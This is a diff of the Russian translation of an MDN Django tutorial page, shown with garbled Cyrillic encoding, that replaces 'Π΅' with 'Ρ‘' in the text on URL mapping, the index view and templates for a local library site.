url-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈ шаблон страницы для ΠΏΠΎΠΊΠ°Π·Π° любой ΠΊΠ½ΠΈΠ³ΠΈ (ΠΈΠ»ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°).Β </p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Django позволяСт Π²Π°ΠΌ ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ваши URL-адрСса Π»ΡŽΠ±Ρ‹ΠΌ, ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ для вас, способом β€” Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Ρ‚Π΅Π»Π΅ URL-адрСса, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ URL-адрСс Ρ‚ΠΈΠΏΠ° <code>GET</code> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>/book/?id=6</code>). НСзависимо ΠΎΡ‚ Π²Π°ΡˆΠΈΡ… ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠΉ, URL-адрСса Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ понятными, Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΈ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ (<a href="https://www.w3.org/Provider/Style/URI">посмотритС совСт W3C здСсь</a>).<br>
@@ -84,13 +84,13 @@ translation_of: Learn/Server-side/Django/Home_page
<h3 id="URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅">URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
-<p>Когда ΠΌΡ‹ создавали <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">скСлСт сайта</a>Β ΠΌΡ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΠ»ΠΈ <strong>locallibrary/urls.pyΒ </strong>Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° начинаСтся URL-адрСс наш catalog/ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΈΒ URLConf catalog.urls ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ части строки.</p>
+<p>Когда ΠΌΡ‹ создавали <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">скСлСт сайта</a>Β ΠΌΡ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΠ»ΠΈ <strong>locallibrary/urls.pyΒ </strong>Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° начинаСтся URL-адрСс наш catalog/ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΈΒ URLConf catalog.urls ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ части строки.</p>
<pre><code>urlpatterns += [
path('catalog/', include('catalog.urls')),
]</code></pre>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Django сталкиваСтся cΒ Β <code><a href="https://docs.djangoproject.com/en/2.0/ref/urls/#django.urls.include" title="django.conf.urls.include">django.urls.include()</a></code>Β Β ΠΎΠ½ ΠΎΡ‚Π±Ρ€Π°ΡΡ‹Π²Π°Π΅Ρ‚Β Ρ‡Π°ΡΡ‚ΡŒ совпавшСго URL , ΠΈ отправляСт ΠΎΡΡ‚Π°Π²ΡˆΡƒΡŽΡΡ строку Π² Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ URLconf для дальнСйшСй ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Django сталкиваСтся cΒ Β <code><a href="https://docs.djangoproject.com/en/2.0/ref/urls/#django.urls.include" title="django.conf.urls.include">django.urls.include()</a></code>Β Β ΠΎΠ½ ΠΎΡ‚Π±Ρ€Π°ΡΡ‹Π²Π°Π΅Ρ‚Β Ρ‡Π°ΡΡ‚ΡŒ совпавшСго URL , ΠΈ отправляСт ΠΎΡΡ‚Π°Π²ΡˆΡƒΡŽΡΡ строку Π² Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ URLconf для дальнСйшСй ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</p>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ нашСго ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° прилоТСния ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>urls.py</strong> ΠΈ помСститС Π² Π½Π΅Π³ΠΎ тСкст, ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΉ ΠΆΠΈΡ€Π½Ρ‹ΠΌ, Π½ΠΈΠΆΠ΅.Β </p>
@@ -98,19 +98,19 @@ translation_of: Learn/Server-side/Django/Home_page
<strong> path('', views.index, name='index'),</strong>
]</code></pre>
-<p>Π­Ρ‚Π° функция <code>path()</code> опрСдСляСт URL-ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС это пустая строка:<code>'' - </code>ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Ρ‡ΡƒΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎ Π½ΠΈΡ… Π΄Π°Π»Π΅Π΅ Π² Π΄Π°Π½Π½ΠΎΠΌ руководствС) ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ отобраТСния, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, Ссли Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ адрСс Π±ΡƒΠ΄Π΅Ρ‚ соотвСтствуСт Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρƒ (<code>views.index</code> β€” это функция с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>index()</code> Π² <strong>views.py</strong>).</p>
+<p>Π­Ρ‚Π° функция <code>path()</code> опрСдСляСт URL-ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС это пустая строка:<code>'' - </code>ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Ρ‡ΡƒΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎ Π½ΠΈΡ… Π΄Π°Π»Π΅Π΅ Π² Π΄Π°Π½Π½ΠΎΠΌ руководствС) ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ отобраТСния, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, Ссли Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ адрСс Π±ΡƒΠ΄Π΅Ρ‚ соотвСтствуСт Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρƒ (<code>views.index</code> β€” это функция с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>index()</code> Π² <strong>views.py</strong>).</p>
<p>Данная функция <code>path()</code>, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, опрСдСляСт ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>name</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ опрСдСляСт <em>это </em>частноС URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ΅ имя для "ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ" ("reverse") прСобразования β€” Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, для динамичСского создания URL-адрСса, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Π½Π° рСсурс, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄Π°Π½Π½ΠΎΠ΅ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅. НапримСр, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Ρƒ нас имССтся Π΄Π°Π½Π½ΠΎΠ΅ символичСскоС имя, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π°ΡˆΡƒ домашнюю страницу ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ создания ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ссылки Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ шаблона:</p>
<pre class="brush: html">&lt;a href="<strong>{% url 'index' %}</strong>"&gt;Home&lt;/a&gt;.</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, ТСстко ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΡ€ΡΠΌΡƒΡŽ ссылку (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, <code>&lt;a href="<strong>/catalog/</strong>"&gt;Home&lt;/a&gt;</code>), Π½ΠΎ Ρ‚ΠΎΠ³Π΄Π°, Ссли ΠΌΡ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ адрСс нашСй домашнСй страницы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° <code>/catalog/index</code>), Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ссылки пСрСстанут ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ "ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ" url-прСобразования Π±ΠΎΠ»Π΅Π΅ Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΈ эффСктивный ΠΏΠΎΠ΄Ρ…ΠΎΠ΄!</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Тёстко ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΡ€ΡΠΌΡƒΡŽ ссылку (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, <code>&lt;a href="<strong>/catalog/</strong>"&gt;Home&lt;/a&gt;</code>), Π½ΠΎ Ρ‚ΠΎΠ³Π΄Π°, Ссли ΠΌΡ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ адрСс нашСй домашнСй страницы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° <code>/catalog/index</code>), Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ссылки пСрСстанут ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ "ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ" url-прСобразования Π±ΠΎΠ»Π΅Π΅ Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΈ эффСктивный ΠΏΠΎΠ΄Ρ…ΠΎΠ΄!</p>
</div>
<h3 id="ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_(Π½Π°_основС_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ)">ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ (Π½Π° основС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ)</h3>
-<p>ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, которая ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ HTTP-запрос, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (ΠΏΡ€ΠΈ нСобходимости), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ страницы HTML. Π—Π°Ρ‚Π΅ΠΌ функция отобраТСния Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ страницу ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π² Π²ΠΈΠ΄Π΅ HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π°. Π’ нашСм случаС, индСксная функция дСмонстрируСт этот процСсс β€” ΠΎΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ количСствС записСй <code>Book</code>, <code>BookInstance</code>, доступности <code>BookInstance</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ записи <code>Author</code> ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ эти записи Π² шаблон страницы, Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ страницу ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π΅Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ (ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ).</p>
+<p>ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, которая ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ HTTP-запрос, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (ΠΏΡ€ΠΈ нСобходимости), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ страницы HTML. Π—Π°Ρ‚Π΅ΠΌ функция отобраТСния Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ страницу ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π² Π²ΠΈΠ΄Π΅ HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π°. Π’ нашСм случаС, индСксная функция дСмонстрируСт этот процСсс β€” ΠΎΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ количСствС записСй <code>Book</code>, <code>BookInstance</code>, доступности <code>BookInstance</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ записи <code>Author</code> ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ эти записи Π² шаблон страницы, Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ страницу ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΅Ρ‘ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ (ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ).</p>
<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>catalog/views.py</strong> ΠΈ ΠΎΡ‚ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅ для сСбя, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΡƒΠΆΠ΅ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">render()</a> - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ HTML-Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ шаблонов страниц ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ….Β </p>
@@ -132,7 +132,7 @@ def index(request):
num_instances=BookInstance.objects.all().count()
# ДоступныС ΠΊΠ½ΠΈΠ³ΠΈ (статус = 'a')
num_instances_available=BookInstance.objects.filter(status__exact='a').count()
- num_authors=Author.objects.count() # ΠœΠ΅Ρ‚ΠΎΠ΄ 'all()' ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.
+ num_authors=Author.objects.count() # ΠœΠ΅Ρ‚ΠΎΠ΄ 'all()' ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.
# ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° HTML-шаблона index.html с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ
# ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ контСкста context
@@ -144,13 +144,13 @@ def index(request):
<p>ΠŸΠ΅Ρ€Π²Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ количСство записСй ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>objects.all()</code> Ρƒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>objects</code>, доступного для всСх классов ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ. ΠŸΠΎΡ…ΠΎΠΆΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ список ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>BookInstance</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ статус 'a' (Доступно). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с модСлями Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ части руководства (<a href="/en-US/docs/Learn/Server-side/Django/Models#Searching_for_records">Руководство Ρ‡Π°ΡΡ‚ΡŒ 3: ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ &gt; Поиск записСй</a>).</p>
-<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>index</code> вызываСтся функция  <code>render()</code>, которая, Π² качСствС ΠΎΡ‚Π²Π΅Ρ‚Π°, создаСт ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ страницу HTMLΒ  (эта функция "ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚" Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π΅ΠΌ самым сущСствСнно упрощая процСсс Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ). Π’ качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π΅ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>request</code>Β  (Ρ‚ΠΈΠΏΠ° <code>HttpRequest</code>), шаблон HTML-страницы с ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌΠΈ (<code>placeholders</code>), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ,Β  Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>context</code> (ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΠΈ Π² шаблонС).Β </p>
+<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>index</code> вызываСтся функция  <code>render()</code>, которая, Π² качСствС ΠΎΡ‚Π²Π΅Ρ‚Π°, создаёт ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ страницу HTMLΒ  (эта функция "ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚" Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π΅ΠΌ самым сущСствСнно упрощая процСсс Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ). Π’ качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π΅ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>request</code>Β  (Ρ‚ΠΈΠΏΠ° <code>HttpRequest</code>), шаблон HTML-страницы с ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌΠΈ (<code>placeholders</code>), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ,Β  Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>context</code> (ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΠΈ Π² шаблонС).Β </p>
<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ… ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ контСкста. Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим наш шаблон, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΡƒΠΆΠ΅ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ!</p>
<h3 id="Π¨Π°Π±Π»ΠΎΠ½">Π¨Π°Π±Π»ΠΎΠ½</h3>
